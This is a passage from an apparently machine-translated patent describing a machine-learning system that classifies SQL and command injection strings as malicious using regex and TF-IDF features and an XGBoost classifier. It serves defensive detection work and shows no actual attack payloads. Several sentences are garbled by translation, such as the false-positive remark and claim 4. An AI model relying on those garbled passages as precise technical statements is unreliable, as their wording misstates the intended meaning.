[0124] In some embodiments, the system 200 includes a security implementation module 239. The system 200 uses the security implementation module 239 to implement one or more security policies relative to information (such as network traffic, input strings, files, etc.). The security implementation module 239 implements one or more security policies based on whether the input string is determined to be malicious. As an example, in the case where the system 200 is a security entity or a firewall, the system 200 includes a security implementation module 239. Firewalls generally deny or allow network transmission based on a set of rules. These rule sets are generally referred to as policies (e.g., network policies, network security policies, security policies, etc.). For example, a firewall can filter inbound traffic by applying a set of rules or policies to prevent unwanted external traffic from reaching the protected device. The firewall can also filter outbound traffic by applying a set of rules or policies (e.g., allowing, blocking, monitoring, notifying or recording and / or other actions that can be specified in firewall rules or firewall policies, which can be triggered based on various criteria, such as described herein). The firewall can also filter local network (e.g., intranet) traffic by similarly applying a set of rules or policies. Other examples of policies include security policies such as those requiring scanning for threats in incoming (and / or outgoing) email attachments, website content, files exchanged via instant messaging programs, information obtained via a web interface or other user interface (such as an interface to a database system (e.g., a SQL interface)), and / or other file transfers.

[0125] According to various embodiments, storage 215 includes one or more of file system data 260, model data 265, and / or prediction data 270. Storage 215 includes shared storage (eg, a network storage system) and / or database data and / or user activity data.

[0126] In some embodiments, file system data 260 includes a database, such as one or more data sets (e.g., one or more data sets of input strings, exploit traffic, and / or input string attributes, a mapping of indicators of maliciousness to input strings or hashes, a signature or other unique identifier of input strings, a mapping of indicators of benign input strings to input strings or hashes, a signature or other unique identifier of input strings, etc.). File system data 260 includes data, such as historical information related to input strings (e.g., the maliciousness of input strings), a whitelist of input strings that are considered safe (e.g., not suspicious, benign, etc.), a blacklist of strings that are considered suspicious or malicious (e.g., input strings that are considered to have a likelihood of being malicious exceeding a predetermined / preset likelihood threshold), information associated with suspicious or malicious input strings, etc.

[0127] Model data 265 includes information related to one or more models that are used to determine whether an input string is malicious or the likelihood that an input string is malicious. As an example, model data 265 stores a classifier (e.g., an XGBoost machine learning classifier model) used in conjunction with a set of feature vectors or a combined feature vector. Model data 265 includes feature vectors that can be generated relative to each of one or more of the following: (i) a set of regex statements and / or (ii) algorithm-based features (e.g., features extracted using TF-IDF, such as relative to sample vulnerability exploit traffic, etc.). In some embodiments, model data 265 includes a combined feature vector that is generated at least in part based on one or more feature vectors that correspond to each of one or more of the following: (i) a set of regex statements and / or (ii) algorithm-based features (e.g., features extracted using TF-IDF, such as relative to sample vulnerability exploit traffic, etc.).

[0128] Prediction data 270 includes information related to determining whether an input string analyzed by system 200 is malicious. For example, prediction data 270 stores an indication that the input string is malicious, an indication that the input string is benign, etc. The relevant information can be obtained and provided by notification module 237 (e.g., transmitted to an applicable security entity, endpoint, or other system). In some embodiments, prediction data 270 includes a hash or signature of an input string (such as an input string analyzed by system 200 to determine whether such an input string is malicious) or a historical data set that has been previously evaluated for maliciousness (such as by a third party). Prediction data 270 may include a hash value to an indication of maliciousness (e.g., an indication of corresponding malicious or benign, etc.).

[0129] According to various embodiments, the memory 220 includes execution application data 275. The execution application data 275 includes data obtained or used in conjunction with an execution application (such as an application that performs a hash function, an application for extracting information from an input string, an application for extracting information from a file, etc.). In an embodiment, the application includes one or more applications that perform one or more of the following: receiving and / or executing queries or tasks, generating reports and / or configuration information in response to the queries or tasks performed, and / or providing information in response to the queries or tasks to the user. Other applications include any other appropriate applications (e.g., index maintenance applications, communication applications, machine learning model applications, applications for detecting suspicious input strings, detecting suspicious files, document preparation applications, report preparation applications, user interface applications, data analysis applications, anomaly detection applications, user authentication applications, security policy management / update applications, etc.).

[0130] Figure 3 3 is an illustration of generating a feature vector using an input string according to various embodiments. Process 300 for generating a feature vector based on (e.g., corresponding to) an input string is an example of generating a feature vector for a predefined regex statement (e.g., "IFS"). Process 300 includes receiving an input string at 302, applying the regex statement at 304, obtaining a result of analyzing the input string based on the regex statement at 306, and setting (e.g., storing) a value based on the result of analyzing the input string using the regex statement at 308. The value is stored in a portion (e.g., a field) of the feature vector.

[0131] exist Figure 3 In the example illustrated in , the input string corresponds to a URL with command injection. In response to receiving the URL with command injection, the system determines a feature vector based on an analysis of the URL with respect to one or more features based on a set of predefined regex statements and one or more features determined based on algorithm-based feature extraction.

[0132] Figure 4 is an illustration of generating a combined feature vector using an input string according to various embodiments. In various embodiments, a machine learning system is implemented to determine custom features. Custom features can be determined based on a set of predefined regex statements and / or algorithm-based feature extraction.

[0133] In the example shown, feature extraction relative to detecting vulnerability exploits includes multiple features, such as a feature subset extracted based on a predefined regex statement set and a feature subset extracted based on an algorithm-based feature extraction. For example, multiple features include (one or more) features of an input string first characteristic 410, (one or more) features of an input string second characteristic 412, (one or more) features of an input string third characteristic 414, (one or more) features of an input string fourth characteristic 416, and (one or more) features of an input string fifth characteristic 418. Various other features may be implemented. Multiple features (e.g., features 410-418) may be determined based on the execution of malicious feature extraction. Malicious feature extraction may be performed relative to sample vulnerability exploit traffic (e.g., vulnerability exploit traffic generated by a vulnerability exploit traffic generation tool).

[0134] In response to receiving an input string (e.g., an input string to be analyzed), the system analyzes the input string with respect to various features. In some embodiments, the system obtains one or more feature vectors with respect to the input string. As an example, the system obtains one or more feature vectors to characterize the input string. Figure 4 In the example shown in , the system populates feature vector 422 corresponding to features of a first characteristic of the input string, feature vector 424 corresponding to features of a second characteristic of the input string, feature vector 426 corresponding to features of a third characteristic of the input string, feature vector 428 corresponding to features of a fourth characteristic of the input string, and feature vector 430 corresponding to features of a fifth characteristic of the input string.

[0135] In response to obtaining one or more feature vectors, the system can generate a combined feature vector 432. In some embodiments, the system determines the combined feature vector 432 by concatenating a set of feature vectors of a predefined set of regex statements and / or a set of feature vectors (e.g., feature vectors 422-430) based on characteristics or relationships determined by algorithm-based feature extraction. In some embodiments, the system concatenates the set of feature vectors according to a predefined process (e.g., a predefined order, etc.).

[0136] The feature vector can be used as input to a prediction function (e.g., a linear prediction function) to obtain a binary classification. A feature vector is an n-dimensional vector that represents the numerical features of an object. Machine learning processes typically use numerical representations of objects to process and / or perform statistical analysis.

[0137] In response to obtaining the combined feature vector 432, the system uses the combined feature vector 432 as an input to a classifier 434 (eg, a machine learning classifier). The system uses the output of the classifier 434 as a prediction or determination of whether the corresponding input string is malicious.

[0138] Figure 5A is a graph illustrating a feature space of features for use in connection with classifying an input string according to various embodiments. In the example shown, graph 500 illustrates a plurality of features and the percentage of vulnerability exploits in which the features are respectively indicated.

[0139] The system performs malicious feature extraction with respect to sample vulnerability exploit traffic to obtain a feature set. In some embodiments, the system determines the feature set based on a predefined regex statement set and / or an algorithm-based feature extraction. The system may determine to use a subset of the feature set obtained based on the regex statement set and the algorithm-based feature extraction for the model. The subset of the feature set is used to build a classifier (e.g., the model is trained using a machine learning process). For example, the system selects features between two thresholds (e.g., a maximum percentage threshold and a minimum percentage threshold) relative to the percentage of vulnerability exploits in which the features are respectively indicated. The feature subset used to build a classifier (e.g., a model) is illustrated as the feature space considered. The feature space can be limited by a maximum percentage threshold to limit the false positive rate of the resulting model. For example, in Figure 5B In the example shown in , although the “HTTP” feature can be used to train the model, the use of the “HTTP” feature is believed to be likely to increase the detection positive rate of the false model.

[0140] In conjunction with determining whether a particular input string is malicious, the system generates a feature vector that characterizes the input string with respect to features within a feature space (eg, a subset of the set of features used to build a classifier).

[0141] Figure 5B 5 is a diagram depicting detection of malicious input strings according to various embodiments. In the example shown, the diagram 550 illustrates detection of vulnerability exploits using an XGBoost classifier (e.g., a classifier model) according to various embodiments, a neural network classifier according to various embodiments, or an intrusion prevention system (IPS) according to the related art.

[0142] As illustrated, the XGBoost classifier detected at least 95% (e.g., 96.0%) of the exploits, the neural network classifier detected at least 90% (e.g., 93.4%) of the exploits, and the IPS detected approximately 72% of the exploits.

[0143] In some embodiments, the system for detecting vulnerability exploits (e.g., for determining whether an input string is malicious) implements one or more of an XGBoost classifier, a neural network classifier, or an IPS classifier. In some embodiments, the system implements all of an XGBoost classifier, a neural network classifier, or an IPS classifier.

[0144] Figure 6 is a flow chart of a method for determining whether an input string is malicious according to various embodiments. In some embodiments, process 600 is at least partially performed by Figure 1 The system 100 and / or Figure 2 In some embodiments, process 600 may be implemented by one or more servers, such as in conjunction with providing a service to a network (e.g., a security entity and / or a network endpoint, such as a client device). In some embodiments, process 600 may be implemented by a security entity (e.g., a firewall), such as in conjunction with implementing a security policy with respect to input strings or files transmitted across a network or into / out of a network. In some embodiments, process 600 may be implemented by a client device (such as a laptop, a smartphone, a personal computer, etc.), such as in conjunction with executing or opening a file (such as an email attachment) or causing a command injection string to be executed.

[0145] At 610, a sample SQL or command injection string is received. In some embodiments, the system receives the sample from a security entity, endpoint, or other system in conjunction with a request that the system evaluate whether the input string is malicious. In response to determining that the input string (e.g., a hash or other signature or identifier of the input string) is not included on a blacklist or whitelist of input strings that have been previously evaluated for maliciousness, the system can receive the input string.

[0146] The SQL or command injection string may be received in traffic corresponding to a database system, such as a user interface or other interface used to access the database via which data included in the database is obtained.

[0147] At 620, a machine learning model is used to analyze the sample SQL or command injection string. As an example, the machine learning model is a classifier / model trained using a machine learning process. In some embodiments, the model is trained based on the XGBoost framework.

[0148] In some embodiments, analyzing the sample SQL or command injection string using a machine learning model includes generating one or more feature vectors relative to the sample, and applying the model to classify the sample based at least in part on the one or more feature vectors.

[0149] At 630, a determination is performed to determine whether the sample is malicious. In some embodiments, the system determines whether the sample is malicious based at least in part on results of an analysis of the sample SQL or command injection string using a machine learning model.

[0150] The model can provide an indication (e.g., a prediction) of whether the sample is malicious or a likelihood of whether the sample is malicious. In response to receiving the likelihood of whether the sample is malicious, the system can determine whether the sample is malicious based at least in part on one or more thresholds. For example, if the likelihood that the sample is malicious exceeds a first predefined likelihood threshold, the system deems the sample to be malicious. As another example, if the likelihood that the sample is malicious is lower than one or more of a first predefined likelihood threshold and a second likelihood threshold, the system deems the sample to be non-malicious (e.g., benign). In some embodiments, if the likelihood that the sample is malicious is lower than the first predefined likelihood threshold, the system deems the sample to be non-malicious. In some embodiments, if the likelihood that the sample is malicious is lower than the second predefined likelihood threshold, the system deems the sample to be non-malicious, where the second predefined likelihood threshold is lower than the first predefined likelihood threshold.

[0151] In some embodiments, if the likelihood that the sample is malicious is between a first predefined likelihood threshold and a second predefined likelihood threshold, the system deems the analysis of the sample to be uncertain. For example, the system forwards the sample (or information corresponding to the sample) to another system or another classifier. As an example, in the case where the analysis of the sample using the XGBoost model is uncertain, the system analyzes the sample using a neural network model and / or IPS analysis.

[0152] The predefined likelihood threshold(s) may be configured to adjust the sensitivity of the classifier.

[0153] In response to determining at 630 that the sample is malicious, process 600 proceeds to 640 where a malicious result is provided. In some embodiments, the system provides an indication that the sample corresponds to a malicious input string to, for example, an endpoint, a security entity, or other system that provided the sample or requested that the system assess the sample for maliciousness. For example, the system updates a blacklist or other mapping of input strings to malicious input strings to include the sample (e.g., a unique identifier associated with the sample, such as a hash, a signature, etc.).

[0154] In response to determining at 630 that the sample is not malicious, process 600 proceeds to 650. In some embodiments, in response to determining at 630 that the sample is not malicious, the system provides an indication that the sample is not malicious (e.g., the sample corresponds to benign traffic), such as to an endpoint, a security entity, or other system that provided the sample.

[0155] At 650, a determination is made as to whether process 600 is complete. In some embodiments, process 600 is determined to be complete in response to determining that no further samples are to be analyzed (e.g., no further predictions are required for the input string), an administrator indicating that process 600 is to be paused or stopped, etc. In response to determining that process 600 is complete, process 600 ends. In response to determining that process 600 is not complete, process 600 returns to 610.

[0156] Figure 7 is a flow chart of a method for determining whether an input string is malicious according to various embodiments. In some embodiments, process 700 is at least partially performed by Figure 1 The system 100 and / or Figure 2 In some embodiments, process 700 may be implemented by one or more servers, such as in conjunction with providing services to a network (e.g., a security entity and / or a network endpoint, such as a client device). In some embodiments, process 700 may be implemented by a security entity (e.g., a firewall), such as in conjunction with implementing a security policy with respect to input strings or files transmitted across a network or transmitted into / out of a network. In some embodiments, process 700 may be implemented by a client device (such as a laptop, a smart phone, a personal computer, etc.), such as in conjunction with executing or opening an input string or file (such as an email attachment).

[0157] At 710, an input string is obtained. In some embodiments, the system receives a sample (e.g., an input string) from a security entity, endpoint, or other system in conjunction with a request that the system evaluate whether the input string is malicious. In response to determining that the input string is not included on a blacklist or whitelist of input strings that were previously evaluated for maliciousness, the system can receive the input string.

[0158] At 720, one or more feature vectors of the input string are determined.

[0159] At 730, a model is obtained. In some embodiments, the model is a machine learning model (e.g., a model trained using a machine learning process). Obtaining the model may include querying the model, such as querying the model using (one or more) feature vectors (e.g., a combined feature vector).

[0160] At 740, the input string is analyzed using the model. Analyzing the input string using the machine learning model includes using the feature vector(s) of the input string to determine whether the feature vector(s) indicate a malicious input string.

[0161] At 750, a determination is performed as to whether the input string is malicious. In some embodiments, the system determines whether the sample is malicious based at least in part on the results of an analysis of the sample SQL or command injection string using a machine learning model.

[0162] The model can provide an indication (e.g., a prediction) of whether the sample is malicious or a likelihood of whether the sample is malicious. In response to receiving the likelihood of whether the sample is malicious, the system can determine whether the sample is malicious based at least in part on one or more thresholds. For example, if the likelihood that the sample is malicious exceeds a first predefined likelihood threshold, the system deems the sample to be malicious. As another example, if the likelihood that the sample is malicious is lower than one or more of a first predefined likelihood threshold and a second likelihood threshold, the system deems the sample to be non-malicious (e.g., benign). In some embodiments, if the likelihood that the sample is malicious is lower than the first predefined likelihood threshold, the system deems the sample to be non-malicious. In some embodiments, if the likelihood that the sample is malicious is lower than the second predefined likelihood threshold, the system deems the sample to be non-malicious, where the second predefined likelihood threshold is lower than the first predefined likelihood threshold.

[0163] In some embodiments, if the likelihood that the sample is malicious is between a first predefined likelihood threshold and a second predefined likelihood threshold, the system deems the analysis of the sample to be uncertain. For example, the system forwards the sample (or information corresponding to the sample) to another system or another classifier. As an example, in the case where the analysis of the sample using the XGBoost model is uncertain, the system analyzes the sample using a neural network model and / or IPS analysis.

[0164] The predefined likelihood threshold(s) may be configured to adjust the sensitivity of the classifier.

[0165] In response to determining at 750 that the input string is malicious, process 700 proceeds to 760 where a malicious result is provided. In some embodiments, the system provides an indication that the input string corresponds to a malicious input string to, for example, an endpoint, a security entity, or other system that provided the input string or requested the system to evaluate the maliciousness of the input string. For example, the system updates a blacklist or other mapping of input strings to malicious input strings to include the input string (e.g., a unique identifier associated with the sample, such as a hash, a signature, etc.).

[0166] In response to determining at 750 that the input string is not malicious, process 700 proceeds to 770. In some embodiments, in response to determining at 750 that the input string is not malicious, the system provides an indication that the input string is not malicious (e.g., the sample corresponds to benign traffic), such as to an endpoint, a security entity, or other system that provided the input string.

[0167] At 770, a determination is made as to whether process 700 is complete. In some embodiments, process 700 is determined to be complete in response to determining that there are no further input strings to be analyzed (e.g., no further predictions are needed for the input strings), an administrator indicating that process 700 is to be paused or stopped, etc. In response to determining that process 700 is complete, process 700 ends. In response to determining that process 700 is not complete, process 700 returns to 710.

[0168] Figure 8 is a flow chart of a method for obtaining (one or more) feature vectors for training a machine learning model according to various embodiments. In some embodiments, process 800 is at least partially performed by Figure 1 The system 100 and / or Figure 2 In some embodiments, the process 800 may be implemented by one or more servers, such as in conjunction with providing services to a network (e.g., a security entity and / or a network endpoint, such as a client device). In some embodiments, the process 800 may be implemented by a security entity (e.g., a firewall), such as in conjunction with enforcing security policies with respect to input strings or files transmitted across a network or into / out of a network.

[0169] At 810, training data is obtained. In some embodiments, obtaining training data includes calling Fig. 9 Process 900 of . In some embodiments, the training data used in conjunction with determining the features (e.g., for performing malicious feature extraction) is different from the training data used to train the model using the determined features. For example, the training data used to train the model may include a subset of sample vulnerability exploit traffic and a subset of sample benign traffic, and the training data used to determine the features (e.g., the vulnerability exploit features) may exclude (e.g., not include) the sample benign traffic. In some embodiments, the features used to train the model are determined based on the sample vulnerability exploit traffic (e.g., no sample benign traffic is used for malicious feature extraction, etc.).

[0170] Sample vulnerability exploit traffic and / or malicious traffic may be generated using a traffic generation tool. As an example, a traffic generation tool is a known tool for generating malicious vulnerability exploits. Examples of traffic generation tools for generating vulnerability exploit traffic include open source penetration testing tools such as Commix developed by the Commix project, or sqlmap developed by the sqlmap project and available at https: / / sqlmap.org As another example, the traffic generation tool may be a vulnerability exploitation simulation module, such as the threat simulation module developed by Picus Security. The vulnerability exploitation traffic may include malicious payloads, such as malicious SQL statements or other structured statements.

[0171] At 820, malicious feature extraction is performed. In some embodiments, the system performs malicious feature extraction in conjunction with generating (e.g., training) a model to detect vulnerability exploits. Malicious feature extraction may include one or more of the following: (i) obtaining specific features from SQL and command injection strings using predefined regex statements; and (ii) filtering out the described features from the original input data set using algorithm-based feature extraction.

[0172] In some embodiments, the predefined regex statements can be set by an administrator or other user of the system. For example, the predefined regex statements are manually defined and stored at the system (e.g., stored at a security policy or within a policy for training a model). As an example, at least a subset of regex statements can be expert defined. Regex statements can be statements that capture certain contextual patterns. For example, malicious structured statements are typically part of a code language. According to various embodiments, feature extraction using regex statements identifies specific syntax included in an input string (e.g., a command or SQL injection string).

[0173] In some embodiments, the algorithm-based feature extraction uses TF-IDF to extract a set of features. In some embodiments, a first subset of features obtained during malicious feature extraction is obtained using expert-generated regex statements, and a second subset of features obtained during malicious feature extraction is obtained using algorithm-based feature extraction.

[0174] In some embodiments, the set of exploit features is determined based at least in part on one or more characteristics of the exploit traffic. As an example, the set of exploit features is determined based at least in part on one or more characteristics of the exploit traffic that are correlated with one or more characteristics of benign traffic.

[0175] At 830, a set of (one or more) vulnerability exploit features is determined. The set of (one or more) vulnerability exploit features can be determined based on the results of the malicious feature extraction. For example, the system determines a subset of the feature set for building a classifier (e.g., training the model using a machine learning process). The system can select features between two thresholds (e.g., a maximum percentage threshold and a minimum percentage threshold) relative to the percentage of vulnerability exploits in which the features are respectively indicated.

[0176] At 840, a set of feature vectors is generated for training the machine learning model. In some embodiments, the set of feature vectors used to train the model is obtained based at least in part on training data. As an example, the training data used to determine the set of feature vectors includes sample vulnerability exploit traffic (e.g., sample malicious traffic) and sample benign traffic.

[0177] At 850, a determination is made as to whether process 800 is complete. In some embodiments, process 800 is determined to be complete in response to a determination that no further models are to be determined / trained (e.g., no further classification models are to be created) and an administrator indicates that process 800 is to be paused or stopped, etc. In response to determining that process 800 is complete, process 800 ends. In response to determining that process 800 is not complete, process 800 returns to 810.

[0178] Fig. 9 is a flow chart of a method for obtaining training data according to various embodiments. In some embodiments, process 900 is at least partially performed by Figure 1 The system 100 and / or Figure 2 In some embodiments, the process 900 may be implemented by one or more servers, such as in conjunction with providing services to a network (e.g., a security entity and / or a network endpoint, such as a client device). In some embodiments, the process 900 may be implemented by a security entity (e.g., a firewall), such as in conjunction with enforcing security policies with respect to input strings or files transmitted across a network or into / out of a network.

[0179] At 910, good traffic is obtained. The system can use a traffic generation tool to obtain good traffic.

[0180] At 920, malicious traffic is received. The system can use a traffic generation tool to obtain malicious traffic (e.g., vulnerability exploit traffic). As an example, the traffic generation tool is a known tool for generating malicious vulnerability exploits. Examples of traffic generation tools for generating malicious traffic include open source penetration testing tools such as Commix developed by the Commix project, or sqlmap developed by the sqlmap project and available at https: / / sqlmap.orgAs another example, the traffic generation tool may be a vulnerability exploitation simulation module, such as the threat simulation module developed by Picus Security. The malicious traffic may include malicious payloads, such as malicious SQL statements or other structured statements.

[0181] At 930, training data is generated based at least in part on the benign traffic and the malicious traffic. In some embodiments, the system combines or otherwise aggregates the benign traffic and the malicious traffic.

[0182] At 940, the training data is stored. The system can store the training data for use in conjunction with training the model. For example, the system determines a set of feature vectors that characterize the training data, and the set of feature vectors is used to train the model.

[0183] At 950, a determination is made as to whether process 900 is complete. In some embodiments, process 900 is determined to be complete in response to determining that no further models are to be determined / trained (e.g., do not create further classification models), an administrator indicating that process 900 is to be paused or stopped, etc. In response to determining that process 900 is complete, process 900 ends. In response to determining that process 900 is not complete, process 900 returns to 910.

[0184] Fig.10 is a flow chart of a method for obtaining a model to classify malicious input strings according to various embodiments. In some embodiments, process 1000 is at least partially performed by Figure 1 The system 100 and / or Figure 2 The system 200 is implemented.

[0185] At 1010, information about a historical set of malicious samples is obtained. In some embodiments, the system obtains information from a third-party service (e.g., VirusTotal TM ) obtains information related to the historical malicious sample set. In some embodiments, the system obtains information related to the historical malicious sample set based at least in part on executing samples known to be malicious and performing dynamic analysis of the malicious samples (e.g., executing iterative snapshots of the state of the sandbox or the memory structure of the sandbox, etc.).

[0186] At 1020, information about a historical benign sample set is obtained. In some embodiments, the system obtains information from a third-party service (e.g., VirusTotal TM ) obtains information related to the historical benign sample set. In some embodiments, the system obtains information related to the historical benign sample set based at least in part on executing samples known to be benign and performing dynamic analysis of the samples (e.g., executing a state of a sandbox or iterated snapshots of a memory structure of a sandbox, etc.).

[0187] At 1030, one or more relationships between characteristics of the sample and maliciousness of the sample are determined. In some embodiments, the system determines features related to whether the input string is malicious or the likelihood that the input string is malicious. Features can be determined based on a malicious feature extraction process performed relative to sample vulnerability exploit traffic. In some embodiments, features can be determined relative to a set of regex statements (e.g., predefined regex statements) and / or relative to algorithm-based feature extraction (e.g., TF-IDF, etc.).

[0188] At 1040, the model is trained for determining whether the input string is malicious. In some embodiments, the model is a machine learning model trained using a machine learning process. Examples of machine learning processes that can be implemented in conjunction with training the model include random forests, linear regression, support vector machines, naive Bayes, logistic regression, K nearest neighbors, decision trees, gradient boosting decision trees, K-means clustering, hierarchical clustering, density-based spatial clustering of noise applications (DBSCAN) clustering, principal component analysis, and the like. In some embodiments, the model is trained using an XGBoost machine learning classifier model. The input to the classifier (e.g., an XGBoost machine learning classifier model) is a combined feature vector or a set of feature vectors, and based on the combined feature vector or the set of feature vectors, the classifier model determines whether the corresponding input string is malicious or the possibility that the input string is malicious.

[0189] At 1050, the model is deployed. In some embodiments, deploying the model includes storing the model in a dataset of models for use in conjunction with analyzing an input string to determine whether the input string is malicious. Deploying the model may include providing the model (or a location where the model may be called) to a malicious input string detector, such as Figure 1 The malicious input string detector 170 of the system 100 or Figure 2 system 200.

[0190] At 1060, a determination is made as to whether process 1000 is complete. In some embodiments, process 1000 is determined to be complete in response to determining that no further models are to be determined / trained (e.g., no further classification models are to be created), an administrator instructing process 1000 to pause or stop, etc. In response to determining that process 1000 is complete, process 1000 ends. In response to determining that process 1000 is not complete, process 1000 returns to 1010.

[0191] Fig.11 is a flow chart of a method for detecting malicious input strings according to various embodiments. In some embodiments, process 1100 is at least partially performed by Figure 1 The system 100 and / or Figure 2 In some embodiments, the process 1100 may be implemented by one or more servers, such as in conjunction with providing services to a network (e.g., a security entity and / or a network endpoint, such as a client device). In some embodiments, the process 1100 may be implemented by a security entity (e.g., a firewall), such as in conjunction with implementing a security policy with respect to files transmitted across a network or in / out of a network. In some embodiments, the process 1100 may be implemented by a client device (e.g., a laptop, a smartphone, a personal computer, etc.), such as in conjunction with executing or opening a file (e.g., an email attachment).

[0192] At 1110, one or more characteristics associated with a sample input string are obtained. The system can receive an input string (e.g., from an endpoint or security entity, or otherwise via an interface, such as an interface of a database system), and the system characterizes the input string, such as by determining whether the input string exhibits one or more characteristics associated with features corresponding to a model.

[0193] At 1120, one or more feature vectors are determined based at least in part on the one or more characteristics.

[0194] At 1130, one or more feature vectors are provided to a classifier. In some embodiments, the classifier is a machine learning classifier trained using a machine learning process. For example, the classifier corresponds to an XGBoost machine learning classifier model. The system uses a model, such as a machine learning model trained by a machine learning process, in conjunction with determining whether an input string is malicious or the likelihood that an input string is malicious. For example, the system uses an XGBoost machine learning classifier model to analyze one or more feature vectors (e.g., a combined feature vector) to determine whether an input string is malicious.

[0195] At 1140, a determination is performed as to whether the classification of the one or more feature vectors indicates that the input string corresponds to a malicious input string. In some embodiments, if the result of the analysis of the feature vector(s) (e.g., the combined feature vector) using the classifier is less than a predefined threshold (e.g., a predefined malicious threshold), the system deems (e.g., determines) that the input string is not malicious (e.g., the input string is benign). For example, if the result from analyzing the feature vector(s) indicates a likelihood of whether the input string is malicious, the predefined threshold may correspond to a threshold likelihood. As another example, if the result from analyzing the feature vector(s) indicates a degree of similarity between the input string and a malicious input string, the predefined threshold may correspond to a threshold likelihood. In some embodiments, if the result of the analysis of the feature vector(s) (e.g., the combined feature vector) using the classifier is greater than (or greater than or equal to) a predefined threshold, the system deems (e.g., determines) that the input string is malicious (e.g., the input string is an exploit).

[0196] In response to determining at 1140 that the classification of the one or more feature vectors indicates that the sample corresponds to a malicious input string, process 1100 proceeds to 1150 where it is determined that the sample input string is malicious.

[0197] In response to determining at 1140 that the classification of the one or more feature vectors indicates that the sample input string does not correspond to a malicious string, process 1100 proceeds to 1160 where it is determined that the sample input string is not malicious. In some embodiments, in response to determining that the classifier indicates that the sample input string is not malicious, or that the likelihood that the sample input string is malicious is below a predefined malicious threshold, the system determines that the sample input string is benign.

[0198] At 1170, a malicious result is provided. In some embodiments, the system provides an indication of whether the sample input string corresponds to a malicious input string. For example, the system provides an update to a blacklist or other mapping of input strings to malicious input strings to include the sample input string (e.g., a unique identifier associated with the sample, such as a hash, signature, etc.). The system can further provide a corresponding updated blacklist or other mapping to endpoints, security entities, etc. For example, the system pushes updates to the blacklist or other mapping of input strings to malicious input strings to other devices that implement one or more security policies with respect to traffic or files, or subscribe to the system's services.

[0199] At 1180, a determination is made as to whether process 1100 is complete. In some embodiments, process 1100 is determined to be complete in response to determining that no further samples are to be analyzed (e.g., no further predictions are required for the input string), an administrator indicating that process 1100 is to be paused or stopped, etc. In response to determining that process 1100 is complete, process 1100 ends. In response to determining that process 1100 is not complete, process 1100 returns to 1110.

[0200] Fig.12 1 is a flow chart of a method for detecting malicious input strings according to various embodiments. In some embodiments, process 1200 is implemented by an endpoint or security entity, such as in conjunction with implementing one or more security policies. In some implementations, process 700 can be implemented by a client device (such as a laptop, smartphone, personal computer, etc.), such as in conjunction with executing or opening an input string or file (such as an email attachment).

[0201] At 1210, traffic is received. The system can obtain the traffic, such as in conjunction with routing the traffic within / across a network, or passing the traffic into / out of a network (such as a firewall), or monitoring email traffic or instant messaging traffic.

[0202] At 1220, an input string is obtained from the traffic. The system can obtain the traffic, such as in conjunction with routing traffic within / across a network, or passing traffic into / out of a network (such as a firewall), monitoring email traffic or instant messaging traffic, or monitoring login attempts, authentication requests, or other attempts to access a system (such as a database system). In some embodiments, the system obtains the input string from the received traffic.

[0203] At 1230, one or more feature vectors of the input string are obtained. The system can provide the input string to a malicious input string detector, which determines whether the input string is malicious (eg, provides a prediction of whether the input string is malicious).

[0204] At 1240, one or more feature vectors are provided to a classifier. In some embodiments, the system performs a dynamic analysis of the input string. For example, the system queries a classifier based on the one or more feature vectors. The classifier can be a model, such as a machine learning model determined based on implementing a machine learning process. For example, the classifier is an XGBoost model.

[0205] At 1250, a determination is performed whether the input string is malicious. In some embodiments, the classifier provides a prediction of whether the input string is malicious based on an analysis of one or more feature vectors.

[0206] The model can provide an indication (e.g., a prediction) of whether the sample is malicious or a likelihood of whether the sample is malicious. In response to receiving the likelihood of whether the sample is malicious, the system can determine whether the sample is malicious based at least in part on one or more thresholds. For example, if the likelihood that the sample is malicious exceeds a first predefined likelihood threshold, the system deems the sample to be malicious. As another example, if the likelihood that the sample is malicious is lower than one or more of a first predefined likelihood threshold and a second likelihood threshold, the system deems the sample to be non-malicious (e.g., benign). In some embodiments, if the likelihood that the sample is malicious is lower than the first predefined likelihood threshold, the system deems the sample to be non-malicious. In some embodiments, if the likelihood that the sample is malicious is lower than the second predefined likelihood threshold, the system deems the sample to be non-malicious, where the second predefined likelihood threshold is lower than the first predefined likelihood threshold.

[0207] In some embodiments, if the likelihood that the sample is malicious is between a first predefined likelihood threshold and a second predefined likelihood threshold, the system deems the analysis of the sample to be uncertain. For example, the system forwards the sample (or information corresponding to the sample) to another system or another classifier. As an example, in the case where the analysis of the sample using the XGBoost model is uncertain, the system analyzes the sample using a neural network model and / or IPS analysis.

[0208] The predefined likelihood threshold(s) may be configured to adjust the sensitivity of the classifier.

[0209] In response to determining at 1250 that the traffic includes a malicious input string, process 1200 proceeds to 1260, where the input string is handled as a malicious input string (e.g., malicious traffic / information). The system can handle the malicious traffic / information based at least in part on one or more policies (such as one or more security policies).

[0210] According to various embodiments, the handling of malicious input string traffic / information may include performing proactive measures. The proactive measures may be performed in accordance with (e.g., based at least in part on) one or more security policies. As an example, one or more security policies may be preset by a network administrator, a customer (e.g., an organization / company) to provide services for detecting malicious input strings or files, etc. Examples of proactive measures that may be performed include: isolating input strings (e.g., isolating input strings), deleting input strings, alerting a user that a malicious input string has been detected, providing a prompt to a user when a device attempts to open or execute an input string, blocking the transmission of an input string, updating a blacklist of malicious input strings (e.g., a mapping of a hash of an input string to an indication that the input string is malicious), etc.

[0211] In response to determining at 1250 that the traffic does not include a malicious input string, process 1200 proceeds to 1270 where the input string is treated as a non-malicious input string (eg, non-malicious traffic / information).

[0212] At 1280, a determination is made as to whether process 1200 is complete. In some embodiments, process 1200 is determined to be complete in response to determining that no further models are to be determined / trained (e.g., do not create further classification models), an administrator indicating that process 1200 is to be paused or stopped, etc. In response to determining that process 1200 is complete, process 1200 ends. In response to determining that process 1200 is not complete, process 1200 returns to 1210.

[0213] Various examples of the embodiments disclosed herein are described in conjunction with flow charts. Although the examples may include certain steps performed in a specific order, according to various embodiments, the various steps may be performed in various orders and / or the various steps may be combined into a single step or in parallel.

[0214] Although the above embodiments have been described in some detail for the purpose of clarity of understanding, the invention is not limited to the details provided. There are many alternative ways to implement the invention. The disclosed embodiments are illustrative rather than restrictive.

Claims

1. A system comprising: One or more processors configured to: Get SQL or command injection string; as well as Determining whether a SQL or command injection string is malicious based at least in part on a machine learning model; as well as A memory is coupled to the one or more processors and configured to provide instructions to the one or more processors.

2. The system of claim 1, wherein the machine learning model is trained using a set of one or more feature vectors.

3. The system of claim 1, wherein the one or more processors are further configured to obtain a machine learning model.

4. The system of claim 1, wherein the one or more processors are further configured to: Sending SQL or command injection strings to a secure entity is an indication of malicious intent.

5. The system of claim 1 , wherein the one or more processors are further configured to: One or more security policies are implemented based on determining whether the SQL or command injection string is malicious.

